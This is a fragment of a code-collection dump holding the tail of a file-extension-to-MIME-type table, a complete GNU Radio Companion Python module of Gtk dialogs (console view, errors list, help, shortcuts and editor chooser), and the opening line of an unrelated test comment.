\"application/ccxml+xml\" },\r\n\t{ \"cdmia\", \"application/cdmi-capability\" },\r\n\t{ \"cdmic\", \"application/cdmi-container\" },\r\n\t{ \"cdmid\", \"application/cdmi-domain\" },\r\n\t{ \"cdmio\", \"application/cdmi-object\" },\r\n\t{ \"cdmiq\", \"application/cdmi-queue\" },\r\n\t{ \"cer\", \"application/pkix-cert\" },\r\n\t{ \"cgm\", \"image/cgm\" },\r\n\t{ \"class\", \"application/java-vm\" },\r\n\t{ \"coffee\", \"text/coffeescript\" },\r\n\t{ \"conf\", \"text/plain\" },\r\n\t{ \"cpt\", \"application/mac-compactpro\" },\r\n\t{ \"crl\", \"application/pkix-crl\" },\r\n\t{ \"css\", \"text/css\" },\r\n\t{ \"csv\", \"text/csv\" },\r\n\t{ \"cu\", \"application/cu-seeme\" },\r\n\t{ \"davmount\", \"application/davmount+xml\" },\r\n\t{ \"dbk\", \"application/docbook+xml\" },\r\n\t{ \"deb\", \"application/octet-stream\" },\r\n\t{ \"def\", \"text/plain\" },\r\n\t{ \"deploy\", \"application/octet-stream\" },\r\n\t{ \"disposition-notification\", \"message/disposition-notification\" },\r\n\t{ \"dist\", \"application/octet-stream\" },\r\n\t{ \"distz\", \"application/octet-stream\" },\r\n\t{ \"dll\", \"application/octet-stream\" },\r\n\t{ \"dmg\", \"application/octet-stream\" },\r\n\t{ \"dms\", \"application/octet-stream\" },\r\n\t{ \"doc\", \"application/msword\" },\r\n\t{ \"dot\", \"application/msword\" },\r\n\t{ \"drle\", \"image/dicom-rle\" },\r\n\t{ \"dssc\", \"application/dssc+der\" },\r\n\t{ \"dtd\", \"application/xml-dtd\" },\r\n\t{ \"dump\", \"application/octet-stream\" },\r\n\t{ \"ear\", \"application/java-archive\" },\r\n\t{ \"ecma\", \"application/ecmascript\" },\r\n\t{ \"elc\", \"application/octet-stream\" },\r\n\t{ \"emf\", \"image/emf\" },\r\n\t{ \"eml\", \"message/rfc822\" },\r\n\t{ \"emma\", \"application/emma+xml\" },\r\n\t{ \"eps\", \"application/postscript\" },\r\n\t{ \"epub\", \"application/epub+zip\" },\r\n\t{ \"es\", \"application/ecmascript\" },\r\n\t{ \"exe\", \"application/octet-stream\" },\r\n\t{ \"exi\", \"application/exi\" },\r\n\t{ \"exr\", \"image/aces\" },\r\n\t{ \"ez\", \"application/andrew-inset\" },\r\n\t{ \"fits\", \"image/fits\" },\r\n\t{ \"g3\", \"image/g3fax\" },\r\n\t{ \"gbr\", \"application/rpki-ghostbusters\" },\r\n\t{ \"geojson\", \"application/geo+json\" },\r\n\t{ \"gif\", \"image/gif\" },\r\n\t{ \"glb\", \"model/gltf-binary\" },\r\n\t{ \"gltf\", \"model/gltf+json\" },\r\n\t{ \"gml\", \"application/gml+xml\" },\r\n\t{ \"gpx\", \"application/gpx+xml\" },\r\n\t{ \"gram\", \"application/srgs\" },\r\n\t{ \"grxml\", \"application/srgs+xml\" },\r\n\t{ \"gxf\", \"application/gxf\" },\r\n\t{ \"gz\", \"application/gzip\" },\r\n\t{ \"h261\", \"video/h261\" },\r\n\t{ \"h263\", \"video/h263\" },\r\n\t{ \"h264\", \"video/h264\" },\r\n\t{ \"heic\", \"image/heic\" },\r\n\t{ \"heics\", \"image/heic-sequence\" },\r\n\t{ \"heif\", \"image/heif\" },\r\n\t{ \"heifs\", \"image/heif-sequence\" },\r\n\t{ \"hjson\", \"application/hjson\" },\r\n\t{ \"hlp\", \"application/winhlp\" },\r\n\t{ \"hqx\", \"application/mac-binhex40\" },\r\n\t{ \"htm\", \"text/html\" },\r\n\t{ \"html\", \"text/html\" },\r\n\t{ \"ics\", \"text/calendar\" },\r\n\t{ \"ief\", \"image/ief\" },\r\n\t{ \"ifb\", \"text/calendar\" },\r\n\t{ \"iges\", \"model/iges\" },\r\n\t{ \"igs\", \"model/iges\" },\r\n\t{ \"img\", \"application/octet-stream\" },\r\n\t{ \"in\", \"text/plain\" },\r\n\t{ \"ini\", \"text/plain\" },\r\n\t{ \"ink\", \"application/inkml+xml\" },\r\n\t{ \"inkml\", \"application/inkml+xml\" },\r\n\t{ \"ipfix\", \"application/ipfix\" },\r\n\t{ \"iso\", \"application/octet-stream\" },\r\n\t{ \"jade\", \"text/jade\" },\r\n\t{ \"jar\", \"application/java-archive\" },\r\n\t{ \"jls\", \"image/jls\" },\r\n\t{ \"jp2\", \"image/jp2\" },\r\n\t{ \"jpe\", \"image/jpeg\" },\r\n\t{ \"jpeg\", \"image/jpeg\" },\r\n\t{ \"jpf\", \"image/jpx\" },\r\n\t{ \"jpg\", \"image/jpeg\" },\r\n\t{ \"jpg2\", \"image/jp2\" },\r\n\t{ \"jpgm\", \"video/jpm\" },\r\n\t{ \"jpgv\", \"video/jpeg\" },\r\n\t{ \"jpm\", \"image/jpm\" },\r\n\t{ \"jpx\", \"image/jpx\" },\r\n\t{ \"js\", \"application/javascript\" },\r\n\t//{ \"json\", \"application/json\" },\r\n\t{ \"json5\", \"application/json5\" },\r\n\t{ \"jsonld\", \"application/ld+json\" },\r\n\t{ \"jsonml\", \"application/jsonml+json\" },\r\n\t{ \"jsx\", \"text/jsx\" },\r\n\t{ \"kar\", \"audio/midi\" },\r\n\t{ \"ktx\", \"image/ktx\" },\r\n\t{ \"less\", \"text/less\" },\r\n\t{ \"list\", \"text/plain\" },\r\n\t{ \"litcoffee\", \"text/coffeescript\" },\r\n\t{ \"log\", \"text/plain\" },\r\n\t{ \"lostxml\", \"application/lost+xml\" },\r\n\t{ \"lrf\", \"application/octet-stream\" },\r\n\t{ \"m1v\", \"video/mpeg\" },\r\n\t{ \"m21\", \"application/mp21\" },\r\n\t{ \"m2a\", \"audio/mpeg\" },\r\n\t{ \"m2v\", \"video/mpeg\" },\r\n\t{ \"m3a\", \"audio/mpeg\" },\r\n\t{ \"m4a\", \"audio/mp4\" },\r\n\t{ \"m4p\", \"application/mp4\" },\r\n\t{ \"ma\", \"application/mathematica\" },\r\n\t{ \"mads\", \"application/mads+xml\" },\r\n\t{ \"man\", \"text/troff\" },\r\n\t{ \"manifest\", \"text/cache-manifest\" },\r\n\t{ \"map\", \"application/json\" },\r\n\t{ \"mar\", \"application/octet-stream\" },\r\n\t{ \"markdown\", \"text/markdown\" },\r\n\t{ \"mathml\", \"application/mathml+xml\" },\r\n\t{ \"mb\", \"application/mathematica\" },\r\n\t{ \"mbox\", \"application/mbox\" },\r\n\t{ \"md\", \"text/markdown\" },\r\n\t{ \"me\", \"text/troff\" },\r\n\t{ \"mesh\", \"model/mesh\" },\r\n\t{ \"meta4\", \"application/metalink4+xml\" },\r\n\t{ \"metalink\", \"application/metalink+xml\" },\r\n\t{ \"mets\", \"application/mets+xml\" },\r\n\t{ \"mft\", \"application/rpki-manifest\" },\r\n\t{ \"mid\", \"audio/midi\" },\r\n\t{ \"midi\", \"audio/midi\" },\r\n\t{ \"mime\", \"message/rfc822\" },\r\n\t{ \"mj2\", \"video/mj2\" },\r\n\t{ \"mjp2\", \"video/mj2\" },\r\n\t{ \"mjs\", \"application/javascript\" },\r\n\t{ \"mml\", \"text/mathml\" },\r\n\t{ \"mods\", \"application/mods+xml\" },\r\n\t{ \"mov\", \"video/quicktime\" },\r\n\t{ \"mp2\", \"audio/mpeg\" },\r\n\t{ \"mp21\", \"application/mp21\" },\r\n\t{ \"mp2a\", \"audio/mpeg\" },\r\n\t{ \"mp3\", \"audio/mpeg\" },\r\n\t{ \"mp4\", \"video/mp4\" },\r\n\t{ \"mp4a\", \"audio/mp4\" },\r\n\t{ \"mp4s\", \"application/mp4\" },\r\n\t{ \"mp4v\", \"video/mp4\" },\r\n\t{ \"mpd\", \"application/dash+xml\" },\r\n\t{ \"mpe\", \"video/mpeg\" },\r\n\t{ \"mpeg\", \"video/mpeg\" },\r\n\t{ \"mpg\", \"video/mpeg\" },\r\n\t{ \"mpg4\", \"video/mp4\" },\r\n\t{ \"mpga\", \"audio/mpeg\" },\r\n\t{ \"mrc\", \"application/marc\" },\r\n\t{ \"mrcx\", \"application/marcxml+xml\" },\r\n\t{ \"ms\", \"text/troff\" },\r\n\t{ \"mscml\", \"application/mediaservercontrol+xml\" },\r\n\t{ \"msh\", \"model/mesh\" },\r\n\t{ \"msi\", \"application/octet-stream\" },\r\n\t{ \"msm\", \"application/octet-stream\" },\r\n\t{ \"msp\", \"application/octet-stream\" },\r\n\t{ \"mxf\", \"application/mxf\" },\r\n\t{ \"mxml\", \"application/xv+xml\" },\r\n\t{ \"n3\", \"text/n3\" },\r\n\t{ \"nb\", \"application/mathematica\" },\r\n\t{ \"oda\", \"application/oda\" },\r\n\t{ \"oga\", \"audio/ogg\" },\r\n\t{ \"ogg\", \"audio/ogg\" },\r\n\t{ \"ogv\", \"video/ogg\" },\r\n\t{ \"ogx\", \"application/ogg\" },\r\n\t{ \"omdoc\", \"application/omdoc+xml\" },\r\n\t{ \"onepkg\", \"application/onenote\" },\r\n\t{ \"onetmp\", \"application/onenote\" },\r\n\t{ \"onetoc\", \"application/onenote\" },\r\n\t{ \"onetoc2\", \"application/onenote\" },\r\n\t{ \"opf\", \"application/oebps-package+xml\" },\r\n\t{ \"otf\", \"font/otf\" },\r\n\t{ \"owl\", \"application/rdf+xml\" },\r\n\t{ \"oxps\", \"application/oxps\" },\r\n\t{ \"p10\", \"application/pkcs10\" },\r\n\t{ \"p7c\", \"application/pkcs7-mime\" },\r\n\t{ \"p7m\", \"application/pkcs7-mime\" },\r\n\t{ \"p7s\", \"application/pkcs7-signature\" },\r\n\t{ \"p8\", \"application/pkcs8\" },\r\n\t{ \"pdf\", \"application/pdf\" },\r\n\t{ \"pfr\", \"application/font-tdpfr\" },\r\n\t{ \"pgp\", \"application/pgp-encrypted\" },\r\n\t{ \"pkg\", \"application/octet-stream\" },\r\n\t{ \"pki\", \"application/pkixcmp\" },\r\n\t{ \"pkipath\", \"application/pkix-pkipath\" },\r\n\t{ \"pls\", \"application/pls+xml\" },\r\n\t{ \"png\", \"image/png\" },\r\n\t{ \"prf\", \"application/pics-rules\" },\r\n\t{ \"ps\", \"application/postscript\" },\r\n\t{ \"pskcxml\", \"application/pskc+xml\" },\r\n\t{ \"qt\", \"video/quicktime\" },\r\n\t{ \"raml\", \"application/raml+yaml\" },\r\n\t{ \"rdf\", \"application/rdf+xml\" },\r\n\t{ \"rif\", \"application/reginfo+xml\" },\r\n\t{ \"rl\", \"application/resource-lists+xml\" },\r\n\t{ \"rld\", \"application/resource-lists-diff+xml\" },\r\n\t{ \"rmi\", \"audio/midi\" },\r\n\t{ \"rnc\", \"application/relax-ng-compact-syntax\" },\r\n\t{ \"rng\", \"application/xml\" },\r\n\t{ \"roa\", \"application/rpki-roa\" },\r\n\t{ \"roff\", \"text/troff\" },\r\n\t{ \"rq\", \"application/sparql-query\" },\r\n\t{ \"rs\", \"application/rls-services+xml\" },\r\n\t{ \"rsd\", \"application/rsd+xml\" },\r\n\t{ \"rss\", \"application/rss+xml\" },\r\n\t{ \"rtf\", \"application/rtf\" },\r\n\t{ \"rtx\", \"text/richtext\" },\r\n\t{ \"s3m\", \"audio/s3m\" },\r\n\t{ \"sbml\", \"application/sbml+xml\" },\r\n\t{ \"scq\", \"application/scvp-cv-request\" },\r\n\t{ \"scs\", \"application/scvp-cv-response\" },\r\n\t{ \"sdp\", \"application/sdp\" },\r\n\t{ \"ser\", \"application/java-serialized-object\" },\r\n\t{ \"setpay\", \"application/set-payment-initiation\" },\r\n\t{ \"setreg\", \"application/set-registration-initiation\" },\r\n\t{ \"sgi\", \"image/sgi\" },\r\n\t{ \"sgm\", \"text/sgml\" },\r\n\t{ \"sgml\", \"text/sgml\" },\r\n\t{ \"shex\", \"text/shex\" },\r\n\t{ \"shf\", \"application/shf+xml\" },\r\n\t{ \"shtml\", \"text/html\" },\r\n\t{ \"sig\", \"application/pgp-signature\" },\r\n\t{ \"sil\", \"audio/silk\" },\r\n\t{ \"silo\", \"model/mesh\" },\r\n\t{ \"slim\", \"text/slim\" },\r\n\t{ \"slm\", \"text/slim\" },\r\n\t{ \"smi\", \"application/smil+xml\" },\r\n\t{ \"smil\", \"application/smil+xml\" },\r\n\t{ \"snd\", \"audio/basic\" },\r\n\t{ \"so\", \"application/octet-stream\" },\r\n\t{ \"spp\", \"application/scvp-vp-response\" },\r\n\t{ \"spq\", \"application/scvp-vp-request\" },\r\n\t{ \"spx\", \"audio/ogg\" },\r\n\t{ \"sru\", \"application/sru+xml\" },\r\n\t{ \"srx\", \"application/sparql-results+xml\" },\r\n\t{ \"ssdl\", \"application/ssdl+xml\" },\r\n\t{ \"ssml\", \"application/ssml+xml\" },\r\n\t{ \"stk\", \"application/hyperstudio\" },\r\n\t{ \"styl\", \"text/stylus\" },\r\n\t{ \"stylus\", \"text/stylus\" },\r\n\t{ \"svg\", \"image/svg+xml\" },\r\n\t{ \"svgz\", \"image/svg+xml\" },\r\n\t{ \"t\", \"text/troff\" },\r\n\t{ \"t38\", \"image/t38\" },\r\n\t{ \"tei\", \"application/tei+xml\" },\r\n\t{ \"teicorpus\", \"application/tei+xml\" },\r\n\t{ \"text\", \"text/plain\" },\r\n\t{ \"tfi\", \"application/thraud+xml\" },\r\n\t{ \"tfx\", \"image/tiff-fx\" },\r\n\t{ \"tif\", \"image/tiff\" },\r\n\t{ \"tiff\", \"image/tiff\" },\r\n\t{ \"tr\", \"text/troff\" },\r\n\t{ \"ts\", \"video/mp2t\" },\r\n\t{ \"tsd\", \"application/timestamped-data\" },\r\n\t{ \"tsv\", \"text/tab-separated-values\" },\r\n\t{ \"ttc\", \"font/collection\" },\r\n\t{ \"ttf\", \"font/ttf\" },\r\n\t{ \"ttl\", \"text/turtle\" },\r\n\t{ \"txt\", \"text/plain\" },\r\n\t{ \"u8dsn\", \"message/global-delivery-status\" },\r\n\t{ \"u8hdr\", \"message/global-headers\" },\r\n\t{ \"u8mdn\", \"message/global-disposition-notification\" },\r\n\t{ \"u8msg\", \"message/global\" },\r\n\t{ \"uri\", \"text/uri-list\" },\r\n\t{ \"uris\", \"text/uri-list\" },\r\n\t{ \"urls\", \"text/uri-list\" },\r\n\t{ \"vcard\", \"text/vcard\" },\r\n\t{ \"vrml\", \"model/vrml\" },\r\n\t{ \"vtt\", \"text/vtt\" },\r\n\t{ \"vxml\", \"application/voicexml+xml\" },\r\n\t{ \"war\", \"application/java-archive\" },\r\n\t{ \"wasm\", \"application/wasm\" },\r\n\t{ \"wav\", \"audio/wav\" },\r\n\t{ \"weba\", \"audio/webm\" },\r\n\t{ \"webm\", \"video/webm\" },\r\n\t{ \"webmanifest\", \"application/manifest+json\" },\r\n\t{ \"webp\", \"image/webp\" },\r\n\t{ \"wgt\", \"application/widget\" },\r\n\t{ \"wmf\", \"image/wmf\" },\r\n\t{ \"woff\", \"font/woff\" },\r\n\t{ \"woff2\", \"font/woff2\" },\r\n\t{ \"wrl\", \"model/vrml\" },\r\n\t{ \"wsdl\", \"application/wsdl+xml\" },\r\n\t{ \"wspolicy\", \"application/wspolicy+xml\" },\r\n\t{ \"x3d\", \"model/x3d+xml\" },\r\n\t{ \"x3db\", \"model/x3d+binary\" },\r\n\t{ \"x3dbz\", \"model/x3d+binary\" },\r\n\t{ \"x3dv\", \"model/x3d+vrml\" },\r\n\t{ \"x3dvz\", \"model/x3d+vrml\" },\r\n\t{ \"x3dz\", \"model/x3d+xml\" },\r\n\t{ \"xaml\", \"application/xaml+xml\" },\r\n\t{ \"xdf\", \"application/xcap-diff+xml\" },\r\n\t{ \"xdssc\", \"application/dssc+xml\" },\r\n\t{ \"xenc\", \"application/xenc+xml\" },\r\n\t{ \"xer\", \"application/patch-ops-error+xml\" },\r\n\t{ \"xht\", \"application/xhtml+xml\" },\r\n\t{ \"xhtml\", \"application/xhtml+xml\" },\r\n\t{ \"xhvml\", \"application/xv+xml\" },\r\n\t{ \"xm\", \"audio/xm\" },\r\n\t{ \"xml\", \"application/xml\" },\r\n\t{ \"xop\", \"application/xop+xml\" },\r\n\t{ \"xpl\", \"application/xproc+xml\" },\r\n\t{ \"xsd\", \"application/xml\" },\r\n\t{ \"xsl\", \"application/xml\" },\r\n\t{ \"xslt\", \"application/xslt+xml\" },\r\n\t{ \"xspf\", \"application/xspf+xml\" },\r\n\t{ \"xvm\", \"application/xv+xml\" },\r\n\t{ \"xvml\", \"application/xv+xml\" },\r\n\t{ \"yaml\", \"text/yaml\" },\r\n\t{ \"yang\", \"application/yang\" },\r\n\t{ \"yin\", \"application/yin+xml\" },\r\n\t{ \"yml\", \"text/yaml\" },\r\n\t{ \"zip\", \"application/zip\" },\r\n};\r\n"} {"text": "# Copyright 2008, 2009, 2016 Free Software Foundation, Inc.\n# This file is part of GNU Radio\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n# \n\n\nimport sys\nimport textwrap\nfrom distutils.spawn import find_executable\n\nfrom gi.repository import Gtk, GLib\n\nfrom . import Utils, Actions, Constants\nfrom ..core import Messages\n\n\nclass SimpleTextDisplay(Gtk.TextView):\n \"\"\"\n A non user-editable gtk text view.\n \"\"\"\n\n def __init__(self, text=''):\n \"\"\"\n TextDisplay constructor.\n\n Args:\n text: the text to display (string)\n \"\"\"\n Gtk.TextView.__init__(self)\n self.set_text = self.get_buffer().set_text\n self.set_text(text)\n self.set_editable(False)\n self.set_cursor_visible(False)\n self.set_wrap_mode(Gtk.WrapMode.WORD_CHAR)\n\n\nclass TextDisplay(SimpleTextDisplay):\n \"\"\"\n A non user-editable scrollable text view with popup menu.\n \"\"\"\n\n def __init__(self, text=''):\n \"\"\"\n TextDisplay constructor.\n\n Args:\n text: the text to display (string)\n \"\"\"\n SimpleTextDisplay.__init__(self, text)\n self.scroll_lock = True\n self.connect(\"populate-popup\", self.populate_popup)\n\n def insert(self, line):\n \"\"\"\n Append text after handling backspaces and auto-scroll.\n\n Args:\n line: the text to append (string)\n \"\"\"\n line = self._consume_backspaces(line)\n self.get_buffer().insert(self.get_buffer().get_end_iter(), line)\n self.scroll_to_end()\n\n def _consume_backspaces(self, line):\n \"\"\"\n Removes text from the buffer if line starts with '\\b'\n\n Args:\n line: a string which may contain backspaces\n\n Returns:\n The string that remains from 'line' with leading '\\b's removed.\n \"\"\"\n if not line:\n return\n\n # for each \\b delete one char from the buffer\n back_count = 0\n start_iter = self.get_buffer().get_end_iter()\n while len(line) > back_count and line[back_count] == '\\b':\n # stop at the beginning of a line\n if not start_iter.starts_line():\n start_iter.backward_char()\n back_count += 1\n # remove chars from buffer\n self.get_buffer().delete(start_iter, self.get_buffer().get_end_iter())\n return line[back_count:]\n\n def scroll_to_end(self):\n \"\"\" Update view's scroll position. \"\"\"\n if self.scroll_lock:\n buf = self.get_buffer()\n mark = buf.get_insert()\n buf.move_mark(mark, buf.get_end_iter())\n self.scroll_mark_onscreen(mark)\n\n def clear(self):\n \"\"\" Clear all text from buffer. \"\"\"\n buf = self.get_buffer()\n buf.delete(buf.get_start_iter(), buf.get_end_iter())\n\n def save(self, file_path):\n \"\"\"\n Save context of buffer to the given file.\n\n Args:\n file_path: location to save buffer contents\n \"\"\"\n with open(file_path, 'w') as logfile:\n buf = self.get_buffer()\n logfile.write(buf.get_text(buf.get_start_iter(),\n buf.get_end_iter(), True))\n\n # Action functions are set by the Application's init function\n def clear_cb(self, menu_item, web_view):\n \"\"\" Callback function to clear the text buffer \"\"\"\n Actions.CLEAR_CONSOLE()\n\n def scroll_back_cb(self, menu_item, web_view):\n \"\"\" Callback function to toggle scroll lock \"\"\"\n Actions.TOGGLE_SCROLL_LOCK()\n\n def save_cb(self, menu_item, web_view):\n \"\"\" Callback function to save the buffer \"\"\"\n Actions.SAVE_CONSOLE()\n\n def populate_popup(self, view, menu):\n \"\"\"Create a popup menu for the scroll lock and clear functions\"\"\"\n menu.append(Gtk.SeparatorMenuItem())\n\n lock = Gtk.CheckMenuItem(label = \"Scroll Lock\")\n menu.append(lock)\n lock.set_active(self.scroll_lock)\n lock.connect('activate', self.scroll_back_cb, view)\n\n save = Gtk.ImageMenuItem(label = \"Save Console\")\n menu.append(save)\n save.connect('activate', self.save_cb, view)\n\n clear = Gtk.ImageMenuItem(label = \"Clear Console\")\n menu.append(clear)\n clear.connect('activate', self.clear_cb, view)\n menu.show_all()\n return False\n\n\nclass MessageDialogWrapper(Gtk.MessageDialog):\n \"\"\" Run a message dialog. \"\"\"\n\n def __init__(self, parent, message_type, buttons, title=None, markup=None,\n default_response=None, extra_buttons=None):\n \"\"\"\n Create a modal message dialog.\n\n Args:\n message_type: the type of message may be one of:\n Gtk.MessageType.INFO\n Gtk.MessageType.WARNING\n Gtk.MessageType.QUESTION or Gtk.MessageType.ERROR\n buttons: the predefined set of buttons to use:\n Gtk.ButtonsType.NONE\n Gtk.ButtonsType.OK\n Gtk.ButtonsType.CLOSE\n Gtk.ButtonsType.CANCEL\n Gtk.ButtonsType.YES_NO\n Gtk.ButtonsType.OK_CANCEL\n title: the title of the window (string)\n markup: the message text with pango markup\n default_response: if set, determines which button is highlighted by default\n extra_buttons: a tuple containing pairs of values:\n each value is the button's text and the button's return value\n\n \"\"\"\n Gtk.MessageDialog.__init__(\n self, transient_for=parent, modal=True, destroy_with_parent=True,\n message_type=message_type, buttons=buttons\n )\n if title:\n self.set_title(title)\n if markup:\n self.set_markup(markup)\n if extra_buttons:\n self.add_buttons(*extra_buttons)\n if default_response:\n self.set_default_response(default_response)\n\n def run_and_destroy(self):\n response = self.run()\n self.hide()\n return response\n\n\nclass ErrorsDialog(Gtk.Dialog):\n \"\"\" Display flowgraph errors. \"\"\"\n\n def __init__(self, parent, flowgraph):\n \"\"\"Create a listview of errors\"\"\"\n Gtk.Dialog.__init__(\n self,\n title='Errors and Warnings',\n transient_for=parent,\n modal=True,\n destroy_with_parent=True,\n )\n self.add_buttons(Gtk.STOCK_OK, Gtk.ResponseType.ACCEPT)\n self.set_size_request(750, Constants.MIN_DIALOG_HEIGHT)\n self.set_border_width(10)\n\n self.store = Gtk.ListStore(str, str, str)\n self.update(flowgraph)\n\n self.treeview = Gtk.TreeView(model=self.store)\n for i, column_title in enumerate([\"Block\", \"Aspect\", \"Message\"]):\n renderer = Gtk.CellRendererText()\n column = Gtk.TreeViewColumn(column_title, renderer, text=i)\n column.set_sort_column_id(i) # liststore id matches treeview id\n column.set_resizable(True)\n self.treeview.append_column(column)\n\n self.scrollable = Gtk.ScrolledWindow()\n self.scrollable.set_vexpand(True)\n self.scrollable.add(self.treeview)\n\n self.vbox.pack_start(self.scrollable, True, True, 0)\n self.show_all()\n\n def update(self, flowgraph):\n self.store.clear()\n for element, message in flowgraph.iter_error_messages():\n if element.is_block:\n src, aspect = element.name, ''\n elif element.is_connection:\n src = element.source_block.name\n aspect = \"Connection to '{}'\".format(element.sink_block.name)\n elif element.is_port:\n src = element.parent_block.name\n aspect = \"{} '{}'\".format('Sink' if element.is_sink else 'Source', element.name)\n elif element.is_param:\n src = element.parent_block.name\n aspect = \"Param '{}'\".format(element.name)\n else:\n src = aspect = ''\n self.store.append([src, aspect, message])\n\n def run_and_destroy(self):\n response = self.run()\n self.hide()\n return response\n\n\ndef show_about(parent, config):\n ad = Gtk.AboutDialog(transient_for=parent)\n ad.set_program_name(config.name)\n ad.set_name('')\n ad.set_license(config.license)\n\n py_version = sys.version.split()[0]\n ad.set_version(\"{} (Python {})\".format(config.version, py_version))\n\n try:\n ad.set_logo(Gtk.IconTheme().load_icon('gnuradio-grc', 64, 0))\n except GLib.Error:\n Messages.send(\"Failed to set window logo\\n\")\n\n #ad.set_comments(\"\")\n ad.set_copyright(config.license.splitlines()[0])\n ad.set_website(config.website)\n\n ad.connect(\"response\", lambda action, param: action.hide())\n ad.show()\n\n\ndef show_help(parent):\n \"\"\" Display basic usage tips. \"\"\"\n markup = textwrap.dedent(\"\"\"\\\n <b>Usage Tips</b>\n \\n\\\n <u>Add block</u>: drag and drop or double click a block in the block \n selection window.\n <u>Rotate block</u>: Select a block, press left/right on the keyboard.\n <u>Change type</u>: Select a block, press up/down on the keyboard.\n <u>Edit parameters</u>: double click on a block in the flow graph.\n <u>Make connection</u>: click on the source port of one block, then \n click on the sink port of another block.\n <u>Remove connection</u>: select the connection and press delete, or \n drag the connection.\n \\n\\\n *Press Ctrl+K or see menu for Keyboard - Shortcuts\n \\\n \"\"\")\n markup = markup.replace(\"Ctrl\", Utils.get_modifier_key())\n\n MessageDialogWrapper(\n parent, Gtk.MessageType.INFO, Gtk.ButtonsType.CLOSE, title='Help', markup=markup\n ).run_and_destroy()\n\ndef show_keyboard_shortcuts(parent):\n \"\"\" Display keyboard shortcut-keys. \"\"\"\n markup = textwrap.dedent(\"\"\"\\\n <b>Keyboard Shortcuts</b>\n \\n\\\n <u>Ctrl+N</u>: Create a new flowgraph.\n <u>Ctrl+O</u>: Open an existing flowgraph.\n <u>Ctrl+S</u>: Save the current flowgraph or save as for new.\n <u>Ctrl+W</u>: Close the current flowgraph.\n <u>Ctrl+Z</u>: Undo a change to the flowgraph.\n <u>Ctrl+Y</u>: Redo a change to the flowgraph.\n <u>Ctrl+A</u>: Selects all blocks and connections.\n <u>Ctrl+P</u>: Screen Capture of the Flowgraph.\n <u>Ctrl+Shift+P</u>: Save the console output to file.\n <u>Ctrl+L</u>: Clear the console.\n <u>Ctrl+E</u>: Show variable editor.\n <u>Ctrl+F</u>: Search for a block by name.\n <u>Ctrl+Q</u>: Quit.\n <u>F1</u> : Help menu.\n <u>F5</u> : Generate the Flowgraph.\n <u>F6</u> : Execute the Flowgraph.\n <u>F7</u> : Kill the Flowgraph.\n <u>Ctrl+Shift+S</u>: Save as the current flowgraph.\n <u>Ctrl+Shift+D</u>: Create a duplicate of current flow graph.\n\n <u>Ctrl+X/C/V</u>: Edit-cut/copy/paste.\n <u>Ctrl+D/B/R</u>: Toggle visibility of disabled blocks or\n connections/block tree widget/console.\n <u>Shift+T/M/B/L/C/R</u>: Vertical Align Top/Middle/Bottom and\n Horizontal Align Left/Center/Right respectively of the \n selected block.\n \\\n \"\"\")\n markup = markup.replace(\"Ctrl\", Utils.get_modifier_key())\n \n MessageDialogWrapper(\n parent, Gtk.MessageType.INFO, Gtk.ButtonsType.CLOSE, title='Keyboard - Shortcuts', markup=markup\n ).run_and_destroy()\n\n\ndef show_get_involved(parent):\n \"\"\"Get Involved Instructions\"\"\"\n markup = textwrap.dedent(\"\"\"\\\n <tt><b>Welcome to GNU Radio Community!</b></tt>\n \\n\\\n <tt>For more details on contributing to GNU Radio and getting engaged with our great community visit </tt><a href=\"https://www.gnuradio.org/get-involved\">here</a>. \n \\n\\\n <tt>You can also join our <a href=\"https://slack.gnuradio.org/\">Slack Channel</a>, IRC Channel (#gnuradio) or contact through our <a href=\"https://lists.gnu.org/mailman/listinfo/discuss-gnuradio\">mailing list(discuss-gnuradio)</a></tt>. \n \\\n \"\"\")\n \n MessageDialogWrapper(\n parent, Gtk.MessageType.QUESTION, Gtk.ButtonsType.CLOSE, title='Get - Involved', markup=markup\n ).run_and_destroy() \n\n\ndef show_types(parent):\n \"\"\" Display information about standard data types. \"\"\"\n colors = [(name, color) for name, key, sizeof, color in Constants.CORE_TYPES]\n max_len = 10 + max(len(name) for name, code in colors)\n\n message = '\\n'.join(\n '<span background=\"{color}\"><tt>{name}</tt></span>'\n ''.format(color=color, name=Utils.encode(name).center(max_len))\n for name, color in colors\n )\n\n MessageDialogWrapper(\n parent, Gtk.MessageType.INFO, Gtk.ButtonsType.CLOSE, title='Types - Color Mapping', markup=message\n ).run_and_destroy() \n\n\ndef show_missing_xterm(parent, xterm):\n markup = textwrap.dedent(\"\"\"\\\n The xterm executable {0!r} is missing.\n You can change this setting in your gnuradio.conf, in section [grc], 'xterm_executable'.\n \\n\\\n (This message is shown only once)\\\n \"\"\").format(xterm)\n\n MessageDialogWrapper(\n parent, message_type=Gtk.MessageType.WARNING, buttons=Gtk.ButtonsType.OK,\n title='Warning: missing xterm executable', markup=markup\n ).run_and_destroy()\n\n\ndef choose_editor(parent, config):\n \"\"\"\n Give the option to either choose an editor or use the default.\n \"\"\"\n if config.editor and find_executable(config.editor):\n return config.editor\n\n buttons = (\n 'Choose Editor', Gtk.ResponseType.YES,\n 'Use Default', Gtk.ResponseType.NO,\n Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL\n )\n response = MessageDialogWrapper(\n parent, message_type=Gtk.MessageType.QUESTION, buttons=Gtk.ButtonsType.NONE,\n title='Choose Editor', markup='Would you like to choose the editor to use?',\n default_response=Gtk.ResponseType.YES, extra_buttons=buttons\n ).run_and_destroy()\n\n # Handle the initial default/choose/cancel response\n # User wants to choose the editor to use\n editor = ''\n if response == Gtk.ResponseType.YES:\n file_dialog = Gtk.FileChooserDialog(\n 'Select an Editor...', None,\n Gtk.FileChooserAction.OPEN,\n ('gtk-cancel', Gtk.ResponseType.CANCEL, 'gtk-open', Gtk.ResponseType.OK),\n transient_for=parent\n )\n file_dialog.set_select_multiple(False)\n file_dialog.set_local_only(True)\n file_dialog.set_current_folder('/usr/bin')\n try:\n if file_dialog.run() == Gtk.ResponseType.OK:\n editor = file_dialog.get_filename()\n finally:\n file_dialog.hide()\n\n # Go with the default editor\n elif response == Gtk.ResponseType.NO:\n try:\n process = None\n if sys.platform.startswith('linux'):\n process = find_executable('xdg-open')\n elif sys.platform.startswith('darwin'):\n process = find_executable('open')\n if process is None:\n raise ValueError(\"Can't find default editor executable\")\n # Save\n editor = config.editor = process\n except Exception:\n Messages.send('>>> Unable to load the default editor. Please choose an editor.\\n')\n\n if editor == '':\n Messages.send('>>> No editor selected.\\n')\n return editor\n"} {"text": "#\n# Check can login if existing corrupt authority 